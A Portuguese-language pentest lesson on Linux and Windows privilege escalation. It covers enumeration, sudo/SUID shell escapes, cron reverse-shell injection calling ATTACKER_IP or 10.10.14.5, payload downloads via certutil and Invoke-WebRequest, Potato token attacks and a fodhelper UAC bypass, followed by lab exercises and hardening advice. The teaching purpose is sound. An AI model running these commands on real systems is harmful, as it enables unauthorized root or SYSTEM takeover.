Privilege escalation é a arte de transformar acesso limitado em controle total do sistema.
🎯 O que é?
Definição
Escalonamento de privilégios (Privilege Escalation) é o processo de obter níveis mais altos de permissão do que o inicialmente concedido. Em um pentest real, raramente o acesso inicial já entrega root ou SYSTEM: o atacante obtém um shell de usuário comum e precisa elevar para comprometer o sistema por completo.
Tipos
Tipo
Descrição
Exemplo prático
Vertical
Usuário comum para Administrador/root
www-data para root via SUID
Horizontal
Usuário A para Usuário B (mesmo nível)
alice para bob via credencial exposta
Onde o privesc se encaixa na kill chain
Reconhecimento → Exploração inicial → [SHELL BAIXO PRIVILÉGIO] → Privesc → [ROOT/SYSTEM] → Pós-exploração
↑
Você está aqui nesta aula
⚠️ Contexto legal obrigatório
Toda técnica desta aula se aplica exclusivamente a:
Ambientes com autorização escrita do proprietário do sistema
A execução dessas técnicas sem autorização configura crime tipificado no art. 154-A do Código Penal (invasão de dispositivo informático alheio), com pena de 1 a 4 anos de reclusão, aumentada de 1/3 se o dano for a governo/concessionária ou se houver obtenção de segredo empresarial/privacidade. Não existe zona cinza: autorização documentada é o limite entre pentest legítimo e crime.
🔍 Metodologia Geral de Enumeração
Antes de explorar qualquer vetor, o pentester deve enumerar sistematicamente. A ordem abaixo cobre os vetores de maior probabilidade para menor:
1. Contexto do usuário atual (id, grupos, sudo -l)
2. Kernel e versão do SO (uname, systeminfo)
3. Binários SUID/SGID (Linux) ou serviços mal configurados (Windows)
4. Tarefas agendadas (cron, scheduled tasks)
5. Capabilities e tokens de privilégio
6. Credenciais em arquivos/registro
7. Variáveis de ambiente e PATH
8. Softwares instalados e versões vulneráveis
Árvore de decisão de privesc
flowchart TD
A[Shell obtido como usuário comum] --> B{sudo -l funciona?}
B -- Sim --> C{Binário listado no GTFOBins?}
C -- Sim --> D[🔴 Explorar via GTFOBins<br/>exemplo: sudo vim → :!/bin/bash]
C -- Não --> E[Verificar NOPASSWD + env_keep]
B -- Não --> F{Binário SUID não-padrão?}
F -- Sim --> G{Consta no GTFOBins?}
G -- Sim --> H[🔴 Explorar SUID<br/>exemplo: find com -exec /bin/sh]
G -- Não --> I[Analisar manualmente com strings/ltrace/strace]
F -- Não --> J{Cron job com script world-writable?}
J -- Sim --> K[🔴 Editar script cron → reverse shell como root]
J -- Não --> L{Linux capability perigosa?}
L -- Sim --> M[🔴 cap_setuid, cap_dac_override, etc.]
L -- Não --> N{Kernel desatualizado?}
N -- Sim --> O[🔴 linux-exploit-suggester + CVE específico]
N -- Não --> P[Rodar LinPEAS completo<br/>e revisar saída manualmente]
P --> Q{Encontrou vetor?}
Q -- Sim --> R[Explorar vetor identificado]
Q -- Não --> S[Enumeração manual avançada:<br/>NFS, Docker group,<br/>senhas em histórico, etc.]
🐧 Linux Privilege Escalation
Técnicas Comuns
O Linux oferece dezenas de vetores. Aprenda a encontrá-los de forma metódica, não aleatória.
Verificações Iniciais
# Contexto do usuário atualidwhoamigroups# Permissões sudo (SEMPRE o primeiro passo)sudo -l# Versão do kernel (para exploits específicos)uname -acat /proc/versionlsb_release -a# Arquivos SUID (executam como dono do arquivo, geralmente root)find / -perm -4000 -type f 2>/dev/null# Arquivos SGIDfind / -perm -2000 -type f 2>/dev/null# Linux capabilities (vetor frequentemente ignorado)getcap -r / 2>/dev/null# Tarefas cron do sistemacat /etc/crontabls -la /etc/cron*cat /etc/cron.d/*crontab -l# Cron jobs rodando em tempo real (sem root)# Requer download do pspy: https://github.com/DominicBreuker/pspy./pspy64# Variáveis de ambienteenvcat /proc/1/environ 2>/dev/null | tr '\0' '\n'# Arquivos world-writable (qualquer um pode escrever)find / -writable -type f 2>/dev/null | grep -v proc# Histórico de comandos (frequentemente contém senhas)cat ~/.bash_historycat ~/.zsh_history# Chaves SSH e configuraçõesls -la ~/.ssh/cat ~/.ssh/authorized_keys 2>/dev/null# Credenciais em arquivos de configuraçãogrep -rn "password" /etc/ 2>/dev/null | grep -v Binarygrep -rn "passwd" /var/www/ 2>/dev/null | grep -v Binaryfind / -name "*.conf" -o -name "*.config" -o -name "*.env" 2>/dev/null | xargs grep -l "pass" 2>/dev/null
Vetores Comuns (detalhados)
Vetor
Descrição
Comando de detecção
Risco
SUID binaries
Binários que executam com privilégios do dono (root)
find / -perm -4000 2>/dev/null
🔴 Crítico
Sudo misconfig
Permissões sudo mal configuradas (NOPASSWD, ALL)
sudo -l
🔴 Crítico
Kernel exploits
CVEs no kernel sem patch aplicado
uname -a + linux-exploit-suggester
🔴 Crítico
Cron jobs
Scripts de root world-writable ou com PATH hijacking
cat /etc/crontab + pspy
🟠 Alto
PATH hijacking
Binário relativo em script de root com PATH controlável
GTFOBins (gtfobins.github.io) é o catálogo definitivo de binários Unix que podem ser abusados para escalar privilégios. Quando você encontrar um binário em sudo -l ou com bit SUID, consulte o GTFOBins antes de qualquer outra coisa.
Exemplos práticos de sudo misconfiguration
# Descoberta: sudo -l mostra que pode rodar vim como rootsudo vim -c ':!/bin/bash'# ousudo vim -c ':set shell=/bin/bash' -c ':shell'# Descoberta: pode rodar find como rootsudo find . -exec /bin/bash \; -quit# Descoberta: pode rodar python3 como rootsudo python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'# Descoberta: pode rodar nmap como root (versões antigas)sudo nmap --interactive# dentro do nmap: !sh# Descoberta: pode rodar less/more como rootsudo less /etc/passwd# dentro do less: !/bin/bash# Descoberta: pode rodar awk como rootsudo awk 'BEGIN {system("/bin/bash")}'# Descoberta: pode rodar perl como rootsudo perl -e 'exec "/bin/bash";'
Exemplos práticos de SUID exploitation via GTFOBins
# Listar todos os SUID e checar contra GTFOBins manualmentefind / -perm -4000 -type f 2>/dev/null# bash com SUID (mantém privilégios com -p)/bin/bash -p# verifica: id (deve mostrar euid=0)# find com SUIDfind . -exec /bin/bash -p \; -quit# cp com SUID (copia /etc/passwd para local, edita, copia de volta)LFILE=/etc/passwdcp "$LFILE" /tmp/passwd_backup# edita /tmp/passwd_backup adicionando: hacker:x:0:0::/root:/bin/bashcp /tmp/passwd_backup "$LFILE"su hacker# python com SUIDpython -c 'import os; os.execl("/bin/sh", "sh", "-p")'# vim com SUIDvim -c ':py import os; os.execl("/bin/sh", "sh", "-p")'
📋 Linux Capabilities
Capabilities fragmentam os privilégios de root em unidades menores. Quando mal atribuídas a binários, permitem escalada total:
Cron jobs rodando como root com arquivos world-writable são um vetor clássico e ainda frequente em CTFs e ambientes reais mal configurados:
# Enumerar todos os cronscat /etc/crontabcat /etc/cron.d/*ls -la /var/spool/cron/crontabs/# Monitorar processos em tempo real (detecta cron não visível em /etc/crontab)# Baixar pspy: https://github.com/DominicBreuker/pspy/releaseschmod +x pspy64./pspy64# Verificar se o script que o cron executa é world-writablels -la /usr/local/bin/backup.sh# Se -rwxrwxrwx: qualquer usuário pode editar# Explorar: injetar reverse shell no scriptecho 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' >> /usr/local/bin/backup.sh# Aguardar o cron executar e receber a conexão:nc -lvnp 4444
PATH Hijacking via Cron
# Script cron que chama binário sem caminho absoluto:# /usr/local/bin/maintenance.sh contém: backup_tool# Verificar o PATH do scriptcat /usr/local/bin/maintenance.sh | grep PATH# Se PATH inclui diretório gravável (ex: /tmp):echo '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /tmp/backup_toolchmod +x /tmp/backup_tool# Aguardar cron executar
🧠 CVEs de Kernel (2024-2026)
🔴 Atenção
Exploits de kernel são instáveis e podem causar kernel panic (crash do sistema). Em lab, sempre tirar snapshot antes de testar. Em pentest real, explorar kernel é medida de ÚLTIMO RECURSO.
CVE
Nome
Versões afetadas
Impacto
CVE-2022-0847
Dirty Pipe
Linux 5.8 a 5.16.11
Escrita em arquivos somente-leitura, LPE para root
CVE-2024-1086
”Flipping Pages”
nf_tables, kernels antigos
Use-after-free, LPE; usado por RansomHub/Akira
CVE-2024-26809
nftables Double-Free
nf_tables pré-patch 2024
Double-free, execução arbitrária como root
CVE-2026-23111
nf_tables UAF
kernels pré-fev/2026
Use-after-free em nf_tables, exploit >99% de confiabilidade
CVE-2021-22555
netfilter OOB
netfilter legado
Adicionado ao KEV da CISA em out/2025
# Verificar versão do kerneluname -rcat /proc/version# Sugestão automática de exploits de kernel# Baixar linux-exploit-suggester: https://github.com/The-Z-Labs/linux-exploit-suggesterchmod +x linux-exploit-suggester.sh./linux-exploit-suggester.sh# Ou passar a versão do kernel diretamente./linux-exploit-suggester.sh --uname "$(uname -r)"
🤖 LinPEAS: Enumeração Automática Completa
LinPEAS (PEASS-ng) é o script de enumeração de privesc mais completo e atualizado para Linux. Em 2025-2026, recebeu detecção de novas superfícies: configurações de restic, writable systemd timers, NFS no_root_squash, e membros do grupo docker.
# Baixar diretamente na máquina alvo (requer internet no alvo)curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh# Baixar no Kali e servir via HTTPwget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.shpython3 -m http.server 8080# Na máquina alvo, baixar e executarwget http://ATTACKER_IP:8080/linpeas.shchmod +x linpeas.sh./linpeas.sh# Salvar saída para análise offline (com cores)./linpeas.sh | tee /tmp/linpeas_out.txt# ou sem cores para ler depois./linpeas.sh -a > /tmp/linpeas_out.txt 2>&1# Executar apenas verificações específicas (mais rápido)./linpeas.sh -o SysI,UsrI,SofI # Sistema, Usuários, Software./linpeas.sh -o ProCronSrvcsTmrsSocks # Processos, Cron, Serviços, Timers, Sockets
Como interpretar a saída do LinPEAS
Cor
Significado
🔴 Vermelho/Amarelo
Quase certamente explorável (99%): explorar imediatamente
🔴 Vermelho
Configuração suspeita: investigar
🟢 Verde
Configuração conhecidamente segura
🔵 Azul
Usuários sem shell + dispositivos montados
🩵 Ciano claro
Usuários com shell (alvos de movimento lateral)
🟣 Magenta
Usuário atual
🪟 Windows Privilege Escalation
Técnicas Comuns
O Windows tem sua própria superfície de ataque. O equivalente ao LinPEAS é o WinPEAS; o equivalente ao GTFOBins é o LOLBAS (lolbas-project.github.io).
Verificações Iniciais
REM Contexto completo do usuário atual (grupos, privilégios, SID)whoami /allwhoami /privwhoami /groupsREM Informações detalhadas do sistema (versão, patches instalados)systeminfosysteminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"REM Patches instalados (busca por brechas)wmic qfe list fullREM Usuários locais e gruposnet usernet localgroup administratorsnet localgroupREM Drives, processos e serviçoswmic logicaldisk get captiontasklist /vsc query state= allwmic service list briefREM Variáveis de ambiente e PATHsetecho %PATH%
# PowerShell: informações de privilégios[System.Security.Principal.WindowsIdentity]::GetCurrent()# Serviços com caminhos não entre aspaswmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v '\"'# Verificar AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated# Credenciais salvascmdkey /list
Vetores Comuns (detalhados)
Vetor
Descrição
Comando
Risco
Unquoted Service Paths
Caminho de serviço com espaço sem aspas
wmic service get pathname | findstr /i /v '\"'
🔴 Crítico
Service Permissions
Serviço modificável por usuário comum
accesschk.exe -uwcqv "Users" *
🔴 Crítico
AlwaysInstallElevated
MSI instala como SYSTEM
reg query HKCU/HKLM AlwaysInstallElevated
🔴 Crítico
Token Impersonation
Roubar token de processo privilegiado (Potato attacks)
Se você comprometer um service account (IIS, MSSQL, Jenkins) ou qualquer conta com SeImpersonatePrivilege, os Potato attacks elevam diretamente para SYSTEM. São o vetor número um em ambientes Windows reais.
# Verificar se SeImpersonatePrivilege está habilitadowhoami /priv# Procurar por: SeImpersonatePrivilege - Enabled
Ferramenta
Alvo
Comando
JuicyPotato
Windows Server 2016 / Win10 até 1803
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t *
PrintSpoofer
Windows Server 2019, Win10 (pré-patch print spooler)
PrintSpoofer.exe -i -c cmd
RoguePotato
Bypass do patch JuicyPotato (requer host externo)
RoguePotato.exe -r ATTACKER_IP -e "cmd.exe"
GodPotato
Windows 8 a 11, Server 2012-2022 (recomendado em 2026)
GodPotato.exe -cmd "cmd /c whoami"
REM Fluxo completo com GodPotato (2026)REM 1. Confirmar SeImpersonatePrivilegewhoami /privREM 2. Baixar GodPotato no alvocertutil.exe -urlcache -f http://ATTACKER_IP:8080/GodPotato.exe GodPotato.exeREM 3. Executar shell reverso como SYSTEMGodPotato.exe -cmd "cmd /c powershell -e BASE64_ENCODED_REVERSE_SHELL"REM 4. Verificar no listenerREM nc -lvnp 4444 → whoami deve retornar nt authority\system
🔧 Unquoted Service Paths: Passo a Passo
REM Encontrar serviços vulneráveiswmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v "\""REM Exemplo de caminho vulnerável detectado:REM C:\Program Files\My App\service.exeREM Windows tenta executar nesta ordem:REM 1. C:\Program.exeREM 2. C:\Program Files\My.exeREM 3. C:\Program Files\My App\service.exeREM Verificar permissão de escrita nos diretórios intermediáriosicacls "C:\Program Files\My App"REM Procurar por: BUILTIN\Users:(W) ou (F)REM Se C:\Program Files\My App\ for gravável, criar executável maliciosoREM No Kali: msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > "My.exe"REM Copiar "My.exe" para "C:\Program Files\My.exe" ou destino vulnerávelREM Reiniciar o serviçosc stop "My App Service"sc start "My App Service"REM ou aguardar reboot
🪟 WinPEAS: Enumeração Automática
# Baixar WinPEAS no Kali e servirwget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exepython3 -m http.server 8080# Na máquina alvo (PowerShell)Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/winPEASany.exe" -OutFile "C:\Temp\winPEAS.exe".\winPEAS.exe# Versão .bat (sem dependência de .NET, mais compatível)Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/winPEAS.bat" -OutFile "winPEAS.bat".\winPEAS.bat# Salvar saída.\winPEAS.exe > C:\Temp\winpeas_output.txt# Módulos específicos (mais rápido).\winPEAS.exe servicesinfo.\winPEAS.exe userinfo.\winPEAS.exe windowscreds
O que o WinPEAS detecta em 2026
Caminhos de serviço sem aspas e permissões fracas de serviço
Chaves AlwaysInstallElevated no HKLM e HKCU
Oportunidades de token impersonation (SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege)
Tarefas agendadas com arquivos editáveis
Credenciais em arquivos, registro e histórico de browsers
DLLs faltando em diretórios graváveis
UAC configurado para bypass (via autorização automática de executáveis confiáveis)
🛡️ UAC Bypass (User Account Control)
UAC não é um limite de segurança real: é uma camada de usabilidade. Dezenas de técnicas de bypass conhecidas funcionam em 2026:
# Verificar nível de UAC configuradoreg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin# 0 = sem prompt (bypass trivial)# 2 = prompt para credenciais# 5 = prompt de elevação (padrão)# Técnica clássica: fodhelper.exe (auto-elevação + chave HKCU manipulável)# Funciona em Windows 10/11 sem patch de mitigaçãoNew-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -ForceNew-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -ForceSet-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start cmd.exe" -ForceStart-Process "C:\Windows\System32\fodhelper.exe"# Limpeza após usoRemove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
🧪 Atividades de Lab
🧪 Atividade 1: Enumeração com LinPEAS e identificação de vetor em VM local
Objetivo: rodar o LinPEAS numa máquina vulnerável de lab e identificar pelo menos um vetor de privesc com prova (virou root).
Pré-requisito: VM Linux vulnerável (MetaSploitable2, VulnHub: “Basic Pentesting”, ou TryHackMe room “Linux PrivEsc”).
Passo a passo:
Obter shell inicial como usuário comum (ex: credencial fraca SSH, RCE em serviço web).
Verificar contexto: id && whoami && uname -a
Transferir LinPEAS para o alvo:
# Na Kali: servir via HTTPwget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.shpython3 -m http.server 8080# No alvo: baixar e executarwget http://KALI_IP:8080/linpeas.sh && chmod +x linpeas.sh./linpeas.sh | tee /tmp/out.txt
Analisar saída: focar em linhas em VERMELHO/AMARELO (95%+ de certeza).
Escolher o vetor de maior confiança e explorar (SUID, sudo, cron, capability).
Prova de root: capturar a saída de id mostrando uid=0(root) e o conteúdo de /root/root.txt (flag de CTF) ou /etc/shadow (arquivo só root lê).
Entrega: print/texto mostrando o vetor encontrado, o comando usado e a prova de root (id + flag ou shadow).
🧪 Atividade 2: Exploração de binário SUID via GTFOBins
Objetivo: encontrar um binário SUID não-padrão na máquina de lab e escalar para root usando a técnica documentada no GTFOBins.
Pré-requisito: mesma VM da Atividade 1 (ou específica com binário SUID configurado).
VETOR: [nome do vetor]
COMANDO DE DETECÇÃO: [o que revelou o problema]
COMANDO DE EXPLORAÇÃO: [o que executou]
RESULTADO: [o que obteve: root shell, flag, etc.]
Capturar a flag de root (/root/root.txt no Linux ou C:\Users\Administrator\Desktop\root.txt no Windows).
Entrega: documento com fluxo completo (pode ser no Obsidian), cada vetor documentado no formato acima, flag de root visível no print.
🛡️ Defesa: Hardening e Detecção
⚔️ Cada ataque tem uma defesa correspondente
Linux: Hardening
Vetor de ataque
Medida defensiva
Comando
SUID desnecessário
Remover SUID de binários não essenciais
chmod u-s /path/to/binary
Sudo misconfiguration
Princípio do menor privilégio no sudoers
visudo (especificar comandos exatos, nunca ALL=ALL)
Capabilities perigosas
Remover capabilities desnecessárias
setcap -r /path/to/binary
Cron world-writable
Corrigir permissões de scripts
chmod 700 /usr/local/bin/script.sh
PATH hijacking
Usar caminhos absolutos em scripts de root
Auditar todos os scripts em /etc/cron*
Kernel desatualizado
Aplicar patches de segurança
apt upgrade linux-image-generic (Debian/Ubuntu)
Docker group privilege
Não adicionar usuários comuns ao grupo docker
Usar rootless Docker ou Podman
# Auditoria rápida de SUID (listar e comparar com baseline)find / -perm -4000 -type f 2>/dev/null | sort > /tmp/suid_atual.txtdiff /tmp/suid_baseline.txt /tmp/suid_atual.txt# Verificar sudoers por entradas perigosasgrep -E "(NOPASSWD|ALL.*ALL)" /etc/sudoers /etc/sudoers.d/* 2>/dev/null# Monitorar execuções de binários SUID com auditdauditctl -a always,exit -F arch=b64 -S execve -F euid=0 -F auid>=1000 -k suid_execausearch -k suid_exec
Windows: Hardening
Vetor de ataque
Medida defensiva
Unquoted service paths
Colocar todos os caminhos de serviço entre aspas
AlwaysInstallElevated
Desabilitar a chave de registro (0 em HKLM e HKCU)
Token impersonation (Potato)
Remover SeImpersonatePrivilege de contas de serviço (usar contas virtuais)
UAC bypass via fodhelper
Configurar UAC para “Sempre notificar” (nível máximo)
DLL hijacking
Usar AppLocker/WDAC para bloquear DLLs de diretórios não confiáveis
Credenciais no registro
Nunca configurar autologon; usar Windows Credential Guard
Serviços com permissões fracas
Usar ferramentas de baseline: accesschk.exe -uwcqv "Users" *